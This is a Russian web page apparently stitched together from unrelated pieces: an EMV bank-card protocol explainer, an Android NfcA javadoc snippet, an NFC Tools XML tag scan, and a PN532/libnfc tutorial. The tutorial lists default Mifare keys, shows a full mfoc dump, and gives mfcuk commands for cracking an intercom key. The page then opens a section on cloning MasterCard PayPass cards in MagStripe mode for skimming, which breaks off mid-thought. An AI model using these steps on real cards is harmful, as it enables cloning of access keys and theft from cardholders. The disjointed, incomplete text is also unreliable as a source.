Mifare classic какие телефоны поддерживают

Что такое emv карта?

EMV — это международный стандарт для банковских карт с чипом. В разработке этого стандарта принимали участия

E

uropay

M

asterCard

V

ISA, отсюда и название. Попробуем разобраться, как же все таки карта общается с POS-терминалом по бесконтактному интерфейсу.

Начнем с самых основ.

Бесконтактная EMV карта на физическом уровне работает почти так же, как и RFID метка. Если базисно то, чип попадает в электромагнитное поле, а в замкнутом проводящем контуре (в нашем случае это будет антенна, расположенная по периметру), помещенном в переменное магнитное поле, образуется переменный электрический ток.

Этот ток заряжает специальный конденсатор, подключенный параллельно к резонансному контуру карты. Энергия, запасенная в конденсаторе, используется для выполнения микросхемой карты различных операций. Когда ридер изменяет электромагнитное поле, изменения сразу будут заметны на чипе.

Используя модуляцию сигнала, мы можем передавать информацию в бинарном виде. Если на карте подключить нагрузочное сопротивление и или изменить емкость конденсатора, то можно изменить силу тока в контуре карты, что приведет к изменению создаваемого им электромагнитного поля в области контура ридера, таким образом карточка передает данные.

Сам чип карты представляет собой смарт карту, на которой работает JavaCard, отдельная версия Java для платформ с малыми вычислительными ресурсами и поддержкой криптографических алгоритмов. На JavaCard загружаются апплеты, которые, и являются приложениями.

Также существует GlobalPlatform это некий стандарт для JavaCard, который предоставляет возможность безопасного управления данными на карте и позволяет загружать, изменять и удалять приложения на карте. В этой статье механизмы безопасности самой смарт карты мы рассматривать не будем.

Также еще напомню немного терминологии, для тех, кто не знаком.

POS-терминал (Point of Sale) — устройство продавца, которое считывает карту и инициирует платеж. Далее будем называть это устройство просто терминалом. Банк эмитент — это банк, который выпустил вашу карту.Банк эквайер — банк, который выдает продавцам POS-терминалы и обрабатывает платежи с них.

Платежная система — центральное звено между банком эквайером и банком эмитентом, через нее проходят абсолютно все платежи, и она знает какой банк какому сколько должен перевести денег. Платежных систем в мире не мало, кроме всем известных Visa и MasterCard есть ещё и American Express, China UnionPay и российская платежная система МИР.

Хорошо, карта и ридер могут общаться. Они посылают друг другу APDU-команды в виде Tag-Length-Value т.е. передается название тэга в шестнадцатеричном виде, его длина и само значение. Все команды описаны конечно же в документации и выглядят примерно так:

Стандартная EMV транзакция проходит в несколько этапов, я опишу полный алгоритм взаимодействия в случае контактного интерфейса, для бесконтактного интерфейса алгоритм несколько укорочен:

Коротко рассмотрим каждую операцию.

Выбор приложения. Часто бывает, что на одной карте может быть несколько приложений. Например, банковская карта и проездной билет. И терминалу как-то необходимо разобраться, где и какой алгоритм ему использовать. Для выбора приложения используются так называемые Идентификационные Коды приложения (Application Identifier – AID).

Что бы в этом разобраться терминал посылает команду SELECT. Например, AID карты Visa Classic будет выглядеть следующим образом: A0000000031010. Если в ответ придет несколько таких кодов и терминал умеет работать с несколькими приложениями, то терминал выведет на экран список и предложит выбрать нужное нам приложение. Если терминал не поддерживает ни один из кодов приложений, то операция будет отклонена терминалом.

Инициализация обработки приложения. Здесь сначала проверяется географическое место пребывания. Например, карты Maestro Momentum могут работать для оплаты только в России. Этот этап сделан для того, чтобы предоставить эмитентам возможность применять существующие онлайн методы риск-менеджмента при проведении офлайн операций.

На этом этапе EMV-транзакция может быть отменена по инициативе самой карты, если данный тип операции запрещен в данной стране мира эмитентом. Далее карта передает терминалу набор специально структурированной информации, содержащей описание функциональности карты и приложения.

Считывание данных приложения. Терминалу передаются различные данные карты необходимые для транзакции, например номер карты, expiration date, счетчик транзакций и много других данных. О некоторых из них будет сказано далее.

Пример данных:

Также передается сертификат публичного ключа банка эмитента и самой карты. Для того чтобы терминал был способен проверить цифровую подпись некоторых данных карты используется PKI-инфраструктура (Public Key Infrastructure). Вкратце, у платежной системы есть пара ключей — публичный и приватный и платежная система является для всех участников CA (Center Authority).

По сути платежная система для каждого банка эмитента выпускает новую пару ключей, и при этом формирует сертификат публичного ключа банка эмитента, подписывая его приватным ключом CA. Далее, когда банк выпускает новую карту, он соответственно генерирует для карточки пару ключей, и также формирует сертификат публичного ключа карты, подписывая его с помощью приватного ключа банка.

В терминалах обычно зашит сертификат публичного ключа для различных платежных систем. Таким образом, когда карточка передает сертификат публичного ключа банка эмитента и сертификат самой карты, терминал может с легкостью проверить всю цепочку, используя публичный ключ платежной системы.

Терминал с помощью публичного ключа платежной системы сначала проверяет подлинность сертификата банка эмитента, если он подлинный, то значит ему можно доверять и теперь с помощью сертификата банка эмитента можно проверить сертификат самой карты. Более подробней в статье про безопасность EMV .

Офлайн аутентификация. Терминал определяет тип поддерживаемого метода оффлайн аутентификации. Существует статичная (Static Data Authentication – SDA), динамическая (Dynamic Data Authentication – DDA) и комбинированная (Combined Data Authentication – CDA).

Эти методы также построены на основе PKI. SDA это просто подписанные данные на приватном ключе банка эмитента, DDA — терминал посылает какое-то случайное число и карточка должна подписать его, используя свой приватный ключ, а терминал проверит эту подпись используя полученный ранее сертификат карты, таким образом терминал удостовериться в том, что карточка и правда обладает приватным ключом — следовательно является подлинной. CDA это просто комбинация обоих способов.

Обработка ограничений. Здесь терминал проверяет полученные ранее данные с карты на условие пригодности для данной операции. Например, проверяет срок начала/окончания действия приложения Application Expiration Date (Tag ‘5F24’) и Application Effective Date (Tag ‘5F25’).

Также производится проверка версии приложения. Результаты операций, проводимых на данном этапе, также записываются в отчет TVR (Terminal verification results). По результатам этого этапа транзакция не может быть отменена, даже в случае, если, например, срок действия приложения истек.

Проверка держателя карты. Верификация держателя карты производится для того, чтобы аутентифицировать человека, предоставившего карту и проверить, является ли он подлинным владельцем карты. Стандарт EMV предоставляет различные методы верификации держателя карты (Cardholder Verification Method).

Список поддерживаемых методов верификации:

Вот

также есть интересная информация на эту тему.

Риск-менеджмент на стороне терминала. На этом этапе терминал проводит внутреннюю проверку параметров транзакции, исходя из установок риск-менеджмента банка-эквайера. Процедуры риск-менеджмента могут быть выполнены терминалом в любое время между моментами завершения процесса чтения данных карты и формирования терминалом первой команды GENERATE AC. Риск-менеджмент на стороне терминала включает в себя три механизма:

Анализ действий терминала. На этом этапе терминал анализирует результаты предыдущих шагов транзакции. По результатам анализа терминал принимает решение о том, следует ли провести операцию в online-режиме, разрешить ее проведение в офлайн режиме или отклонить операцию.

Риск-менеджмент на стороне карты. Карта, получив из команды GENERATE AC данные, касающиеся транзакции, терминала и результатов проверок терминала, в свою очередь выполняет собственные процедуры управления рисками и выносит собственное решение о способе завершения операции.

Анализ действий карты. На этом этапе карта завершает проведение процедур риск-менеджмента и формирует ответную криптограмму терминалу. Если карта решает одобрить транзакцию, то формируется Transaction Certificate. Если карта принимает решение о выполнение операции в режиме реального времени, то она формирует ARQC (Authorization Request Cryptogram).

Еще одна криптограмма ARPC (Authorization Response Cryptogram) нужна для аутентификации эмитента. Эмитент формирует криптограмму ARPC и отсылает криптограмму карте, если карта подтвердит пришедшую криптограмму, то следовательно, эмитент аутентифицирован картой.

Немного о безопасности ключей и взаимной аутентификации карты и эмитента из книги И. М. Голдовского:

Смысл взаимной аутентификации заключается в том, что карта и терминал аутентифицируют друг друга с помощью проверки подлинности криптограмм ARQC и ARPC. Криптограммы представляют собой данные, формируемые с использованием секретного ключа (который известен карте и банку эмитенту), номера транзакции, случайного числа, сгенерированного терминалом, а также некоторых реквизитов транзакции, терминала и карты. В случае ARPC к перечисленным данным еще добавляется авторизационный код ответа эмитента. Без знания секретного ключа карты для генерации криптограммы вычислить значения ARQC/ARPC невозможно за обозримое время с текущим уровнем технологий, и потому факт их успешной верификации указывает на подлинность карты и эмитента. Онлайн аутентификация является наиболее надежным способом аутентификации карты. Это связано с тем, что она выполняется непосредственно эмитентом, без посредника в виде терминала. Кроме того, для онлайновой аутентификации используется алгоритм 3DES с временным ключом размером 112 битов, криптостойкость которого соответствует криптостойкости алгоритма RSA с длиной модуля асимметричного ключа, используемого для офлайн аутентификации приложения карты, более 1700 бит. Использование на карте асимметричных ключей такой длины все еще достаточная редкость. Обычно используются ключи с модулем длиной 1024, 1152 или 1408 бит.

В конечном итоге онлайн транзакция проходит по цепочке: Карта <–> POS-Терминал <–> Банк Эквайер <–> Платежная Система <–> Банк Эмитент.

Nfca transceive commands documentation nfc-a (iso 14443-3a)

/**
 * Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a {@link Tag}.
 *
 * <p>Acquire a {@link NfcA} object using {@link #get}.
 * <p>The primary NFC-A I/O operation is {@link #transceive}. Applications must
 * implement their own protocol stack on top of {@link #transceive}.
 *
 * <p class="note"><strong>Note:</strong> Methods that perform I/O operations
 * require the {@link android.Manifest.permission#NFC} permission.
 */
public byte[] transceive(byte[] data) throws IOException

<?xml version="1.0" encoding="UTF-8"?>
<scan>
<version>4.21.171</version>
<date>2022-03-15 20:12:20</date>
<title>NXP Semiconductors NTAG213 tag as Type 2 Tag</title>
<uid nxp="true">04:39:F5:B2:95:3C:81</uid>
<hasndef>true</hasndef>
<ndef>D00000</ndef>
<section>
<subsection title="IC manufacturer">
<block type="text">
<content>NXP Semiconductors</content>
</block>
</subsection>
<subsection title="IC type">
<block type="text">
<content>NTAG213</content>
</block>
</subsection>
<subsection title="NFC Forum NDEF-compliant tag">
<block type="text">
<content>Type 2 Tag</content>
</block>
</subsection>
</section>
<section>
<subsection title="NFC data set information">
<block type="text">
<content>NDEF message containing 1 record
Current message size: 3 bytes
Maximum message size: 137 bytes
NFC data set access: Read &amp; Write
Can be made Read-Only</content>
</block>
</subsection>
<subsection title="Record #1: Empty record">
<block type="text">
<content><size size="12">Type Name Format: Empty<hexoutput> (0)</hexoutput>
Short Record</size></content>
</block><block type="text">
<content><mono>type: [NULL]
</mono></content>
</block>
<block type="text">
<content>Payload length: 0 bytes</content>
</block>
</subsection>
<subsection title="NDEF message">
<block type="File">
<address>0</address>
<data>D0 00 00</data>
</block>
</subsection>
<subsection title="NDEF Capability Container (CC)">
<block type="text">
<content>Mapping version: 1.0
Maximum NDEF data size: 144 bytes<hexoutput> (0x12)</hexoutput>
NDEF access: Read &amp; Write<hexoutput> (0x00)</hexoutput></content>
</block><block type="File">
<address>-1</address>
<data>E1 10 12 00</data>
</block>
</subsection>
<subsection title="Control TLVs">
<block type="text">
<content>Lock Control TLV at address 0x04, offset 0
‣ Dynamic lock bytes at address 0x28, offset 0
• 12 lock bits<hexoutput> (0x0C)</hexoutput>
• 8 bytes locked per lock bit<hexoutput> (0x3)
• Address calculation:
◦ page address: 0xA
◦ byte offset: 0x0
◦ 16 bytes per page (1&lt;&lt;0x4)</hexoutput></content>
</block>
<block type="File">
<address>-1</address>
<data>01 03 A0 0C 34</data>
</block>
</subsection>
</section>
<section>
<subsection title="Memory size">
<block type="text">
<content>144 bytes user memory
‣ 36 pages, with 4 bytes per page</content>
</block>
</subsection>
<subsection title="IC detailed information">
<block type="text">
<content>Full product name: NT2H1311G0DUx
Capacitance: 50 pF</content>
</block>
</subsection>
<subsection title="Version information">
<block type="text">
<content>Vendor ID: NXP<hexoutput> (0x04)</hexoutput>
Type: NTAG<hexoutput> (0x04)</hexoutput>
Subtype: 50 pF<hexoutput> (0x02)</hexoutput>
Major version: 1<hexoutput> (0x01)</hexoutput>
Minor version: V0<hexoutput> (0x00)</hexoutput>
Storage size: 144 bytes<hexoutput> (0x0F)</hexoutput>
Protocol: ISO/IEC 14443-3<hexoutput> (0x03)</hexoutput></content>
</block>
</subsection>
<subsection title="Configuration information">
<block type="text">
<content>ASCII mirror disabled
NFC counter: disabled
No limit on wrong password attempts
Strong load modulation enabled</content>
</block>
</subsection>
<subsection title="Originality check">
<block type="text">
<content>Signature verified with NXP public key<hexoutput>
Public key:
‣ 0x04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61
</hexoutput><hexoutput>ECDSA signature:
‣ r: 0xDBD6E5FD688FA25BDF05B508911743E2
‣ s: 0x8271C6D1D7110F0350E191ED2C3FAE85</hexoutput></content>
</block>
</subsection>
</section>
<section>
<subsection title="Technologies supported">
<block type="text">
<content>ISO/IEC 14443-3 (Type A) compatible
ISO/IEC 14443-2 (Type A) compatible</content>
</block>
</subsection>
<subsection title="Android technology information">
<block type="text">
<content>Tag description:
‣ TAG: Tech [android.nfc.tech.NfcA, android.nfc.tech.MifareUltralight, android.nfc.tech.Ndef]
android.nfc.tech.Ndef
android.nfc.tech.MifareUltralight
android.nfc.tech.NfcA
‣ Maximum transceive length: 253 bytes
‣ Default maximum transceive time-out: 618 ms
<hexoutput>No MIFARE Classic support present in Android</hexoutput></content>
</block>
</subsection>
<subsection title="Detailed protocol information">
<block type="text">
<content>ID: 04:39:F5:B2:95:3C:81
ATQA: 0x4400
SAK: 0x00</content>
</block>
</subsection>
<subsection title="Memory content">
<block type="Ultralight">
<address>0</address>
<data access="* " comment="(UID0-UID2, BCC0)">04 39 F5 40</data>
</block>
<block type="Ultralight">
<address>1</address>
<data access="* " comment="(UID3-UID6)">B2 95 3C 81</data>
</block>
<block type="Ultralight">
<address>2</address>
<data access=". " comment="(BCC1, INT, LOCK0-LOCK1)">9A 48 00 00</data>
</block>
<block type="Ultralight">
<address>3</address>
<data access=". " comment="(OTP0-OTP3)">E1 10 12 00</data>
</block>
<block type="Ultralight">
<address>4</address>
<data access=". ">01 03 A0 0C</data>
</block>
<block type="Ultralight">
<address>5</address>
<data access=". ">34 03 03 D0</data>
</block>
<block type="Ultralight">
<address>6</address>
<data access=". ">00 00 FE 00</data>
</block>
<block type="Ultralight">
<address>7</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>8</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>9</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>10</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>11</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>12</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>13</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>14</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>15</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>16</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>17</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>18</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>19</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>20</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>21</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>22</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>23</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>24</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>25</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>26</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>27</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>28</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>29</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>30</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>31</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>32</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>33</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>34</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>35</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>36</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>37</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>38</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>39</address>
<data access=". ">00 00 00 00</data>
</block>
<block type="Ultralight">
<address>40</address>
<data access=". " comment="(LOCK2-LOCK4, CHK)">00 00 00 BD</data>
</block>
<block type="Ultralight">
<address>41</address>
<data access=". " comment="(CFG, MIRROR, AUTH0)">04 00 00 FF</data>
</block>
<block type="Ultralight">
<address>42</address>
<data access=". " comment="(ACCESS)" length="2">00 05</data>
</block>
<block type="Ultralight">
<address>43</address>
<data access=" P" comment="(PWD0-PWD3)">FF FF FF FF</data>
</block>
<block type="Ultralight">
<address>44</address>
<data access=" P" comment="(PACK0-PACK1)" length="2">00 00</data>
</block>
<block type="text">
<content>
*:locked &amp; blocked, x:locked,
:blocked, .:un(b)locked, ?:unknown
r:readable (write-protected),
p:password protected, -:write-only
P:password protected write-only</content>
</block>
</subsection>
</section>
</scan>

Использование

Подключаем Pn532 NFC Module к USB TTL, а его в свою очередь к порту компьютера и прикладываем RFID ключ — пустой, который шел в комплекте.

Запускаем команду:

sudo nfc-list

В ответ получаем:

nfc-list use libnfc libnfc-1.7.1-89-g403650a
Connected to NFC device: Adafruit PN532 board via UART - PN532 v1.6 (0x07)
1 ISO14443A passive target(s) found:
ATQA (SENS_RES): 00  04 
UID (NFCID1): dc  b8  f9  2d 
SAK (SEL_RES): 08

Пробуем получить dump карты через утилиту mfoc.

cd ./mfoc/src
mfoc -O dump.mfd

Получаем дамп карты в файл dump.mfdКлючи Key A: ffffffffffff Found Key B: ffffffffffff

./mfoc -O dump.rfd
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00  04  
* UID size: single
* bit frame anticollision supported
UID (NFCID1): dc  b8  f9  2d  
SAK (SEL_RES): 08  
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '' B key found, 'x' both keys found
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]
Sector 00 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 01 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 02 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 03 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 04 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 05 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 06 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 07 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 08 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 09 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 10 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 11 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 12 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 13 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 14 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 15 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
We have all sectors encrypted with the default keys..
Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 62, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 61, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 60, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 59, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 58, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 57, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 56, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 55, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 54, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 53, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 52, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 51, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 50, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 49, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 48, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 47, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 46, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 45, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 44, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 43, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 42, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 41, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 40, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 39, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 38, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 37, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 36, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 35, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 34, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 33, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 32, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 31, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 30, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 29, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 28, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 27, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 26, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 25, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 24, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 23, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 22, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 21, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 20, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 19, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 18, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 17, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 16, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 15, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 14, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 13, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 12, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 11, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 10, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 09, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 08, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 07, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 06, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 05, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 04, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 03, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff  
Block 02, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 01, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 00, type A, key ffffffffffff :dc  b8  f9  2d  b0  08  04  00  01  09  67  1b  75  49  46  1d

Убираем пустой RFID и прикладываем домофонный, выполняем команду:

./mfoc -O domofon_dump.rfd

Не получилось со стандартными ключами No sector encrypted with the default key has been found, exiting…

Если нам известен один из ключей, то можно воспользоваться параметром -k key

Попробуем осуществить взлом через mfcuk.Переходим в директорию

cd ~/nfc/mfcuk/src
mfcuk -C -R 0 -s 250 -S 250

Клонируем карту mastercard в режиме magstripe

Перейдем непосредственно к принципу клонирования. Данный метод атаки на бесконтактные карты был опубликован двумя исследователями

из Австрийского университета. В его основе лежит общий принцип, который называется

Skimming

. Это такой сценарий, при котором злоумышленник крадет деньги с банковской карточки путем считывания (копирования) информации с этой карты. В общем случае здесь важно сохранять PIN-код в тайне и не допускать его утечки. Но в методе австрийских ребят это нам знать не нужно.

(MasterCard PayPass M/Chip)MagStripe (MasterCard PayPass MagStripe)

режим.

MagStripe — это режим поддержки карт с магнитной полосой. Этот режим реализуется на картах MasterCard с бесконтактным интерфейсом. Режим MagStripe скорее нужен для банков которым сложно переводить всю инфраструктуру для поддержки чиповых бесконтактных EMV транзакций. Кстати, у карт Visa также есть аналогичный режим работы — PayWave MSD (Magnetic Stripe Data).

Процесс обработки транзакции для бесконтактных карт урезан в сравнении с чиповыми и обычно работает в следующем режиме:

1. Терминал отправляет команду SELECT PPSE (Proximity Payment System Environment). Карта шлет список поддерживаемых приложений.
2. Терминал отправляет команду SELECT. В ответ получает необходимые детали приложения.
3. Терминал отправляет команду GET_PROCESSING_OPTIONS. Карта отвечает какой тип аутентификации она поддерживает и существует ли там верификация держателя карты.
4. Терминал отправляет команду READ_RECORDS. Карта в ответе посылает Track1 и Track2 практически аналогичный тому, что записан на магнитной полосе карты.
5. Терминал отправляет команду COMPUTE_CRYPTOGRAPHIC_CHECKSUM. Которая означает, что карта должна на основе переданного Unpredictable Number сгенерировать значение CVC3.

Карта поддерживает специальную команду COMPUTE CRYPTOGRAPHIC CHECKSUM, аргументом которой являются данные, определенные в объекте Unpredictable Number Data Object (UDOL).

В результате карта с помощью алгоритма 3DES и секретного ключа вычисляет динамическую величину CVC3 (Card Verification Code).

В качестве аргумента функции 3DES используется конкатенация данных UDOL и счетчика транзакции (Application Transaction Counter,ATC).

Таким образом, значение величины CVC3 всегда зависит от объектов UN и ATC.

Другими словами, эта команда нужна, чтобы карта сгенерировала некую “подпись” для того, чтобы эмитент мог верифицировать карту. Однако, в этой подписи отсутствует подпись самой транзакции. В подписи содержатся значения ATC — 2 байта, CVC3 (Track1)

— 2 байта, CVC3 (Track2) — 2 байта, которые генерируются картой на основе секретного ключа, который также знает банк-эмитент и счетчика транзакций (ATC). При этом также для генерации подписи POS-терминал сообщает карте UN (Unpredictable Number)

— 4 байта, который также используется в генерации подписи. Unpredictable Number препятствует формированию кодов аутентификации на реальной карте для последующего использования в мошеннических транзакциях. Для атаки нам сильно мешает UN, поскольку 4 байта не представляется возможным перебрать, не выйдя за пределы счетчика транзакций. Однако, в спецификации этого есть некоторые слабости.

